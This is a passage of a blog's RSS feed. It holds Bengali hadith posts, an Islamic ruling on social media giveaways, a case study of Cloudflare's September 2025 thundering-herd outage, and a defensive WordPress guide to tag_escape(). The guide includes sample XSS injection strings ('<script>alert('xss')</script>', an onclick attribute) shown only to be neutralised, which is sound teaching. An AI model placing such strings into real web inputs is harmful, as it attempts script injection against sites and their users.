</content:encoded><atom:updated>2025-09-29T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>তুমি কি এমন সময় ঘুমাচ্ছ যখন রিজিক বণ্টন করা হচ্ছে?</title><link>https://hurayraiit.com/blog/early-rising-and-rizk/</link><guid isPermaLink="true">https://hurayraiit.com/blog/early-rising-and-rizk/</guid><description>ফজরের পর সূর্যোদয় পর্যন্ত জিকিরের ফজিলত এবং ভোরে না ঘুমানো রিজিকে বরকতের কারণ — রাসুলুল্লাহ ﷺ-এর হাদিস থেকে প্রমাণ।</description><pubDate>Mon, 29 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;আনাস বিন মালিক رضي الله عنه বলেন, রাসূল ﷺ বলেছেন :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;যে ফজরের সালাত জামাআতে আদায় করে অতপর বসে সূর্য ওঠা পর্যন্ত আল্লাহ তাআলার জিকির করতে থাকে, এরপর দুই রাকাত সালাত পড়ে, তার জন্য একটি হজ্ব ও উমরার সাওয়াব লেখা হবে।&quot; ( মাজমাউয যাওয়ায়েদ : ১০/১০৪ )&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;জাবির বিন সামুরাহ رضي الله عنه বলেন, রাসূল ﷺ যখন ফজরের সালাত পড়তেন তখন সেখানেই সূর্য ওঠা পর্যন্ত সালাতের সুরতে চারজানু হয়ে বসে থাকতেন। ( সহিহ মুসলিম : ১/৪৬৪ )&lt;/p&gt;
&lt;p&gt;জাবির বিন আবদুল্লাহ رضي الله عنه বলেন, রাসূল ﷺ বলেছেন :&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;হে আল্লাহ, আপনি আমার উম্মতের প্রত্যুষে বরকত দান করুন।&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;সুতরাং সকাল সকাল ওঠা এবং সকালে না ঘুমানোর দ্বারা রিজিকে বরকত আসে। ইবনু আব্বাস রাদিআল্লাহু আনহুমা তাঁর এক ছেলেকে সকালে ঘুমাতে দেখে বললেন, &apos;উঠে পড়ো! তুমি কি এমন সময় ঘুমাচ্ছ যখন রিজিক বণ্টন করা হচ্ছে!&apos;&lt;/p&gt;
&lt;p&gt;[Reference] &lt;a href=&quot;https://rkmri.co/e3e2eee3melp/&quot;&gt;নববি তরবিয়ত - শাইখ জামাল আবদুর রহমান - চতুর্থ পরিচ্ছেদ&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-09-29T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>শিশুর মৃত্যুতে রাসুলুল্লাহ (সা:) কাঁদতেন এবং শিশুর পরিবারকে সমবেদনা জানাতেন</title><link>https://hurayraiit.com/blog/rasulullah-sa-on-loss-of-a-child/</link><guid isPermaLink="true">https://hurayraiit.com/blog/rasulullah-sa-on-loss-of-a-child/</guid><description>রাসুলুল্লাহ ﷺ কীভাবে শিশুর মৃত্যুতে কাঁদতেন এবং পরিবারকে সান্ত্বনা দিতেন — উসামা বিন যায়েদের বর্ণিত হাদিসের আলোকে।</description><pubDate>Thu, 25 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;উসামা বিন যায়েদ রাদিআল্লাহু আনহু বলেন, রাসূল সাল্লাল্লাহু আলাইহি ওয়া সালামের এক মেয়ে তাঁর কাছে সংবাদ পাঠালেন যে, &quot;আমার ছেলে মরার উপক্রম। আপনি আমাদের কাছে আসুন।&quot; রাসূল তাকে সালাম পাঠালেন এবং সাথে বলে পাঠালেন :&lt;/p&gt;
&lt;p&gt;&quot;নিশ্চয় আল্লাহ তাআলার জন্যই উৎসর্গিত তিনি যা নিয়েছেন এবং যা দিয়েছেন। আর তাঁর কাছে সব কিছুরই নির্ধারিত মেয়াদ আছে। সুতরাং তুমি ধৈর্য ধরো এবং সাওয়াবের আশা রাখো।&quot;&lt;/p&gt;
&lt;p&gt;অতপর মেয়েটি কসম দিয়ে বলে পাঠালেন যেন অবশ্যই তিনি আসেন। রাসূল উঠে দাঁড়ালেন। সাথে ছিলেন সাদ বিন উবাদাহ এবং অন্যান্য সাহাবি। বাচ্চাটিকে রাসূলের কাছে তুলে ধরা হলো। পুরনো পানির মশকে পানি ফোটার মতো বাচ্চাটির গড়গড়া শুরু হয়ে গিয়েছিল। রাসূলের গাল বেয়ে অশ্রু গড়িয়ে পড়ল। সাদ রাদিআল্লাহু আনহু বললেন, হে আল্লাহর রাসূল, এটা কি (আপনার চোখেও পানি দেখতে পাচ্ছি যে)! রাসূল বললেন:&lt;/p&gt;
&lt;p&gt;&quot;এটা হলো দয়া। যেটা আল্লাহ তাঁর বান্দাদের হৃদয়ে ঢেলে দিয়েছেন। আর আল্লাহ তাঁর দয়াশীল বান্দাদের ভালোবাসেন।&quot;&lt;/p&gt;
&lt;p&gt;[Reference] &lt;a href=&quot;https://rkmri.co/e3e2eee3melp/&quot;&gt;নববি তরবিয়ত – শাইখ জামাল আবদুর রহমান&lt;/a&gt;&lt;/p&gt;
</content:encoded><atom:updated>2025-09-25T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Social Media Giveaways in Islam: Are They Permissible?</title><link>https://hurayraiit.com/blog/are-social-media-giveaways-permissible-in-islam-a-scholarly-perspective/</link><guid isPermaLink="true">https://hurayraiit.com/blog/are-social-media-giveaways-permissible-in-islam-a-scholarly-perspective/</guid><description>Are social media giveaways halal in Islam? A scholarly analysis of the conditions that make follow-to-win contests permissible or impermissible for Muslims.</description><pubDate>Tue, 23 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In today’s digital age, giveaways on platforms like Instagram have become increasingly common. These promotions often come with rules such as following an account, tagging friends, and sharing posts. But as Muslims, it’s important to understand whether participating in such giveaways aligns with Islamic principles.&lt;/p&gt;
&lt;p&gt;According to a lecture by a respected Islamic scholar (source: YouTube, &lt;a href=&quot;https://www.youtube.com/watch?v=tFk3cONW7Mk&quot;&gt;https://www.youtube.com/watch?v=tFk3cONW7Mk&lt;/a&gt;), gifts are generally permissible in Islam, provided there are no strings attached. The Prophet Muhammad (peace be upon him) accepted gifts, distinguishing them from charity which has specific rules.&lt;/p&gt;
&lt;p&gt;The scholar addresses a common question: What if a giveaway requires certain actions, like following an account, tagging people, or sharing posts? The permissibility depends on the nature of the account hosting the giveaway.&lt;/p&gt;
&lt;h3&gt;Conditions for Permissible Giveaways&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The Account Must Be Halal:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The account should belong to a practicing Muslim.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For female account holders, no personal photos or inappropriate content should be shared.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Content should be free from haram influences, including inappropriate images, videos, or endorsements of forbidden actions.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Content Should Be Trustworthy:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Accounts that only share Islamic lectures, educational content, or other morally sound posts are acceptable.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Participating in a giveaway from an account that shares inappropriate content is considered impermissible.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Actions Required Are Permissible:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;If the account meets the above conditions, tagging friends and sharing posts on stories is halal.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;In such cases, receiving the giveaway is also permissible.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Key Takeaways&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Accepting gifts in Islam is allowed, but the source and conditions matter.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Always ensure the account and content are halal before participating in social media giveaways.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Supporting or promoting accounts with haram content, even indirectly, is prohibited.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;By following these guidelines, Muslims can enjoy online promotions while remaining compliant with Islamic teachings.&lt;/p&gt;
</content:encoded><atom:updated>2025-09-23T00:00:00.000Z</atom:updated><category>islam</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>Cloudflare Outage: How a React Bug Caused a Thundering Herd</title><link>https://hurayraiit.com/blog/how-a-tiny-react-bug-triggered-a-thundering-herd-lessons-from-cloudflares-sept-12-outage/</link><guid isPermaLink="true">https://hurayraiit.com/blog/how-a-tiny-react-bug-triggered-a-thundering-herd-lessons-from-cloudflares-sept-12-outage/</guid><description>How a React useEffect bug in Cloudflare&apos;s dashboard triggered a thundering herd on September 12, 2025 — a detailed case study on cascading API failures.</description><pubDate>Mon, 22 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;What Is the Thundering Herd Problem?&lt;/h2&gt;
&lt;p&gt;The &lt;em&gt;Thundering Herd Problem&lt;/em&gt; refers to a scenario in computing where many processes, threads, or clients try to do something (e.g. access a service, retry a request, etc.) &lt;em&gt;all at once&lt;/em&gt;—especially when a resource becomes available or an error is resolved—and this flood of simultaneous activity overwhelms the system. It&apos;s like when a stadium gate opens after a delay, and the crowd surges forward all at once, causing congestion or mishaps.&lt;/p&gt;
&lt;p&gt;In distributed systems, high-availability services, and front-end/back-end interactions (for example, dashboards invoking APIs), unanticipated thundering herd behavior can lead to degraded performance, failed requests, or full outages.&lt;/p&gt;
&lt;h2&gt;Cloudflare’s September 12, 2025 Incident: A Real-World Case Study&lt;/h2&gt;
&lt;p&gt;Here’s what happened, drawing from Cloudflare’s post-mortem and reporting by third parties. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;At &lt;strong&gt;17:57 UTC&lt;/strong&gt; on September 12, 2025, Cloudflare’s Dashboard and multiple related APIs began failing. The root cause: a newly released version of the Dashboard had a bug. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The bug was in a &lt;strong&gt;React &lt;code&gt;useEffect&lt;/code&gt; hook&lt;/strong&gt;: a problematic object was included in the dependency array that was being re-created on every state or prop change. Because React treats dependency arrays via reference equality, the effect kept re-running, triggering many API calls instead of just one. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Meanwhile, Cloudflare had deployed a new version of their Tenant Service API at &lt;strong&gt;17:50 UTC&lt;/strong&gt;. The combination of (a) the dashboard generating excessive API calls and (b) the service being under altered load/validation logic created instability. The Tenant Service became overwhelmed. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Because Tenant Service is part of the authorization logic for many of Cloudflare’s APIs and the Dashboard, when it fails or becomes unstable, many other components return errors (5xx status codes). That’s how the issue cascaded. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How the Thundering Herd Manifested in This Case&lt;/h2&gt;
&lt;p&gt;Cloudflare’s outage is almost textbook for a Thundering Herd:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The dashboard bug triggered many requests at once (due to unstable dependency objects in &lt;code&gt;useEffect&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;State changes or prop changes triggered re-renders, which re-triggered the effect, causing even more load.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;As the Tenant Service slowed or failed, retries likely piled up, further increasing load.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;When the service partially recovered, many clients (or dashboard instances) tried to reconnect or authenticate, so that recovery itself caused a “herd” surge. Cloudflare notes this pattern explicitly. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Mitigation &amp;amp; What Was Done&lt;/h2&gt;
&lt;p&gt;Cloudflare’s response and future plans illustrate how to both react to and prevent such scenarios. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rate Limiting&lt;/strong&gt;&lt;br /&gt;
They applied a global rate-limit on the Tenant Service to reduce excess load. This helps to dampen the impact of flooding requests. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Scaling &amp;amp; Resource Allocation&lt;/strong&gt;&lt;br /&gt;
They increased the number of Kubernetes pods running the Tenant Service, allocating more capacity to handle load spikes. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hotfixes and Rollbacks&lt;/strong&gt;&lt;br /&gt;
They attempted patches and version changes; some made things worse and had to be reverted. Part of mitigation is making sure deployment practices allow fast rollback. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Observability &amp;amp; Telemetry Improvements&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Adding metadata to requests to distinguish retries vs new requests. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;More proactive alerts when traffic patterns deviate or when dependent services (e.g. Tenant Service) approach capacity limits. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Randomized Backoff / Delay&lt;/strong&gt;&lt;br /&gt;
To avoid synchronized retry storms or recovery bursts, introducing small random delays can spread load out (a technique often used in distributed systems). Cloudflare says they will include random delays in dashboard retry logic. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Better Deployment Safety&lt;/strong&gt;&lt;br /&gt;
Using mechanisms like Argo Rollouts for canary / incremental deployment so that faulty updates can be more safely tested and automatically rolled back. (&lt;a href=&quot;https://blog.cloudflare.com/deep-dive-into-cloudflares-sept-12-dashboard-and-api-outage/?utm_source=chatgpt.com&quot;&gt;The Cloudflare Blog&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Lessons Learned &amp;amp; Best Practices&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Don’t underestimate front-end bugs: Even what seems like innocent code (e.g. React effects) can cause huge backend impact.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Be careful with dependency arrays / unstable objects in reactive/UI frameworks. Use stable references (&lt;code&gt;useMemo&lt;/code&gt;, constants outside components, or primitive values).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Always consider what happens when a critical service becomes unavailable: do dependent services fail gracefully? Is authorization logic too tightly coupled?&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Implement rate limiting, backoff, queueing, or bursting protection for critical internal APIs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Have good telemetry: know whether requests are fresh or retries; track error rates, latencies; set thresholds.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use safer deployment workflows: canaries, auto-rollback, feature flags, etc.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The Thundering Herd Problem isn’t just theoretical—it can and does happen even in mature infrastructure. Cloudflare’s Sept 12, 2025 outage is a powerful reminder: a small bug (in a React useEffect dependency) plus an under-prepared backend and missing mitigations can combine to take down critical services.&lt;/p&gt;
&lt;p&gt;If you design APIs, dashboards, or any system with many clients or retries, think ahead: guard against dependency instability, synchronized retries, and uncontrolled request floods. With proper observability, rate limits, delayed retries, and careful deployment strategies, you can reduce risk dramatically.&lt;/p&gt;
</content:encoded><atom:updated>2025-09-22T00:00:00.000Z</atom:updated><category>security</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>tag_escape() in WordPress: Secure HTML Escaping Guide</title><link>https://hurayraiit.com/blog/tag-escape-wordpress-function/</link><guid isPermaLink="true">https://hurayraiit.com/blog/tag-escape-wordpress-function/</guid><description>Learn how WordPress&apos;s tag_escape() function works, when to use it over esc_html(), and how it keeps HTML tag names secure from injection in themes and plugins.</description><pubDate>Sat, 20 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you&apos;ve been developing WordPress themes or plugins, you&apos;ve probably come across various escaping functions like &lt;code&gt;esc_html()&lt;/code&gt;, &lt;code&gt;esc_url()&lt;/code&gt;, and &lt;code&gt;esc_attr()&lt;/code&gt;. But there&apos;s another function that doesn&apos;t get as much attention: &lt;code&gt;tag_escape()&lt;/code&gt;. While it might seem obscure at first, understanding when and how to use it can make your WordPress development more secure and robust.&lt;/p&gt;
&lt;h2&gt;WordPress Core Source Code&lt;/h2&gt;
&lt;p&gt;Let&apos;s start by looking at how WordPress implements this function under the hood. The &lt;code&gt;tag_escape()&lt;/code&gt; function escapes an HTML tag name, and here&apos;s the actual source code from WordPress core:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function tag_escape( $tag_name ) {
    $safe_tag = strtolower( preg_replace( &apos;/[^a-zA-Z0-9-_:]/&apos;, &apos;&apos;, $tag_name ) );

    /**
     * Filters a string cleaned and escaped for output as an HTML tag.
     *
     * @since 2.8.0
     *
     * @param string $safe_tag The tag name after it has been escaped.
     * @param string $tag_name The text before it was escaped.
     */
    return apply_filters( &apos;tag_escape&apos;, $safe_tag, $tag_name );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Breaking down what this code does line by line: First, it uses a regular expression pattern &lt;code&gt;/[^a-zA-Z0-9-_:]/&lt;/code&gt; to remove any characters that aren&apos;t letters, numbers, hyphens, underscores, or colons. The caret symbol &lt;code&gt;^&lt;/code&gt; inside the brackets means &quot;anything NOT in this list.&quot; Then it converts everything to lowercase using &lt;code&gt;strtolower()&lt;/code&gt; to ensure consistency. Finally, it applies a filter hook called &lt;code&gt;tag_escape&lt;/code&gt; that allows developers to modify the escaped output if needed.&lt;/p&gt;
&lt;p&gt;The beauty of this implementation is its simplicity—it&apos;s a single line of logic that effectively strips out anything that could break HTML structure or introduce security vulnerabilities.&lt;/p&gt;
&lt;h2&gt;How tag_escape() Works in Practice&lt;/h2&gt;
&lt;p&gt;So what exactly does this function do in real-world scenarios? Think of it as a bouncer at a nightclub, but instead of checking IDs, it&apos;s making sure only legitimate HTML tag characters get past the velvet rope. Let&apos;s see it in action:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$user_input = &quot;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&quot;;
$safe_tag = tag_escape($user_input);
echo $safe_tag;

// Output: scriptalertxssscript
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Notice how &lt;code&gt;tag_escape()&lt;/code&gt; stripped out all the angle brackets, parentheses, quotes, and other special characters? This is crucial because if you&apos;re dynamically generating HTML tags based on user input or database values, you need to ensure those values won&apos;t break your HTML structure.&lt;/p&gt;
&lt;p&gt;Here&apos;s a more practical scenario. Imagine you&apos;re building a custom WordPress block system where users can choose which HTML tag to use for their content wrapper:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$user_selected_tag = $_POST[&apos;wrapper_tag&apos;]; // Could be &apos;div&apos;, &apos;section&apos;, etc.
$safe_tag = tag_escape($user_selected_tag);

echo &apos;&amp;lt;&apos; . $safe_tag . &apos; class=&quot;custom-wrapper&quot;&amp;gt;&apos;;
echo &apos;Your content here&apos;;
echo &apos;&amp;lt;/&apos; . $safe_tag . &apos;&amp;gt;&apos;;

// If user_selected_tag was &apos;section&apos;, output:
// &amp;lt;section class=&quot;custom-wrapper&quot;&amp;gt;Your content here&amp;lt;/section&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But what if someone tries to be sneaky? Let&apos;s see how &lt;code&gt;tag_escape()&lt;/code&gt; handles malicious attempts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Attempt 1: Injecting attributes
$malicious = &apos;div onclick=&quot;alert(1)&quot;&apos;;
echo tag_escape($malicious);
// Output: divonclickalert1

// Attempt 2: Using special characters
$malicious = &apos;div@#$%^&amp;amp;*()&apos;;
echo tag_escape($malicious);
// Output: div
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Important Limitations and Best Practices&lt;/h2&gt;
&lt;p&gt;Here&apos;s something critical to understand: &lt;code&gt;tag_escape()&lt;/code&gt; doesn&apos;t validate whether the resulting string is actually a valid HTML tag name. It just makes sure the characters are safe. This means you need to add your own validation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function get_safe_wrapper_tag($user_tag) {
    $allowed_tags = array(&apos;div&apos;, &apos;section&apos;, &apos;article&apos;, &apos;aside&apos;, &apos;header&apos;, &apos;footer&apos;);
    $safe_tag = tag_escape($user_tag);

    // Check if sanitized tag is in allowed list
    if (in_array($safe_tag, $allowed_tags)) {
        return $safe_tag;
    }

    return &apos;div&apos;; // Default fallback
}

$wrapper = get_safe_wrapper_tag(&apos;article&apos;);
echo &apos;&amp;lt;&apos; . $wrapper . &apos;&amp;gt;Content&amp;lt;/&apos; . $wrapper . &apos;&amp;gt;&apos;;
// Output: &amp;lt;article&amp;gt;Content&amp;lt;/article&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This combination of &lt;code&gt;tag_escape()&lt;/code&gt; and whitelist validation gives you both security and control.&lt;/p&gt;
&lt;h2&gt;Real-World WordPress Example&lt;/h2&gt;
&lt;p&gt;Let&apos;s look at a practical WordPress scenario—creating a shortcode that allows users to specify a heading level:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
function custom_heading_shortcode($atts, $content = null) {
    $atts = shortcode_atts(array(
        &apos;level&apos; =&amp;gt; &apos;2&apos;,
    ), $atts);

    $heading_level = absint($atts[&apos;level&apos;]);

    // Ensure valid heading level (1-6)
    if ($heading_level &amp;lt; 1 || $heading_level &amp;gt; 6) {
        $heading_level = 2;
    }

    $tag = &apos;h&apos; . $heading_level;
    $safe_tag = tag_escape($tag);

    return &apos;&amp;lt;&apos; . $safe_tag . &apos;&amp;gt;&apos; . esc_html($content) . &apos;&amp;lt;/&apos; . $safe_tag . &apos;&amp;gt;&apos;;
}
add_shortcode(&apos;custom_heading&apos;, &apos;custom_heading_shortcode&apos;);

// Usage: [custom_heading level=&quot;3&quot;]My Heading[/custom_heading]
// Output: &amp;lt;h3&amp;gt;My Heading&amp;lt;/h3&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Using tag_escape() with Other Escaping Functions&lt;/h2&gt;
&lt;p&gt;One common pitfall is confusing &lt;code&gt;tag_escape()&lt;/code&gt; with other escaping functions. Remember, &lt;code&gt;tag_escape()&lt;/code&gt; is specifically for tag names, not for attributes or content. Here&apos;s how they work together:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$tag_name = tag_escape($_POST[&apos;tag&apos;]);
$tag_class = esc_attr($_POST[&apos;class&apos;]);
$tag_content = esc_html($_POST[&apos;content&apos;]);

echo &apos;&amp;lt;&apos; . $tag_name . &apos; class=&quot;&apos; . $tag_class . &apos;&quot;&amp;gt;&apos; . $tag_content . &apos;&amp;lt;/&apos; . $tag_name . &apos;&amp;gt;&apos;;

// If inputs: tag=&apos;div&apos;, class=&apos;my-class&apos;, content=&apos;Hello &amp;lt;World&amp;gt;&apos;
// Output: &amp;lt;div class=&quot;my-class&quot;&amp;gt;Hello &amp;amp;lt;World&amp;amp;gt;&amp;lt;/div&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Understanding Edge Cases&lt;/h2&gt;
&lt;p&gt;Let&apos;s explore what happens with some edge cases to fully understand the function&apos;s behavior:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
// Hyphens are allowed
echo tag_escape(&apos;custom-element&apos;);
// Output: custom-element

// Underscores are allowed (per the regex)
echo tag_escape(&apos;custom_element&apos;);
// Output: custom_element

// Colons are allowed (for namespaced XML/XHTML)
echo tag_escape(&apos;custom:element&apos;);
// Output: custom:element

// Mixed valid and invalid characters
echo tag_escape(&apos;div-wrapper!@#&apos;);
// Output: div-wrapper
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Advanced Implementation Pattern&lt;/h2&gt;
&lt;p&gt;Here&apos;s a more robust example that combines multiple security practices for building flexible components:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class Custom_HTML_Component {
    private $allowed_tags = array(&apos;div&apos;, &apos;section&apos;, &apos;article&apos;, &apos;aside&apos;);

    public function render($tag, $attributes = array(), $content = &apos;&apos;) {
        $safe_tag = tag_escape($tag);

        // Validate against whitelist
        if (!in_array($safe_tag, $this-&amp;gt;allowed_tags)) {
            $safe_tag = &apos;div&apos;;
        }

        // Build attributes
        $attr_string = &apos;&apos;;
        foreach ($attributes as $key =&amp;gt; $value) {
            $attr_string .= &apos; &apos; . sanitize_key($key) . &apos;=&quot;&apos; . esc_attr($value) . &apos;&quot;&apos;;
        }

        $safe_content = wp_kses_post($content);

        return &apos;&amp;lt;&apos; . $safe_tag . $attr_string . &apos;&amp;gt;&apos; . $safe_content . &apos;&amp;lt;/&apos; . $safe_tag . &apos;&amp;gt;&apos;;
    }
}

$component = new Custom_HTML_Component();
echo $component-&amp;gt;render(&apos;section&apos;, array(&apos;class&apos; =&amp;gt; &apos;hero&apos;), &apos;&amp;lt;h1&amp;gt;Welcome&amp;lt;/h1&amp;gt;&apos;);
// Output: &amp;lt;section class=&quot;hero&quot;&amp;gt;&amp;lt;h1&amp;gt;Welcome&amp;lt;/h1&amp;gt;&amp;lt;/section&amp;gt;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Key Takeaways&lt;/h2&gt;
&lt;p&gt;When working with &lt;code&gt;tag_escape()&lt;/code&gt;, remember these essential points: First, it sanitizes characters but doesn&apos;t validate if the output is a real HTML tag. Second, always combine it with whitelist validation for user input. Third, use it alongside other escaping functions like &lt;code&gt;esc_attr()&lt;/code&gt; and &lt;code&gt;esc_html()&lt;/code&gt; for complete security. Fourth, the function allows hyphens, underscores, and colons, making it suitable for custom elements and namespaced tags.&lt;/p&gt;
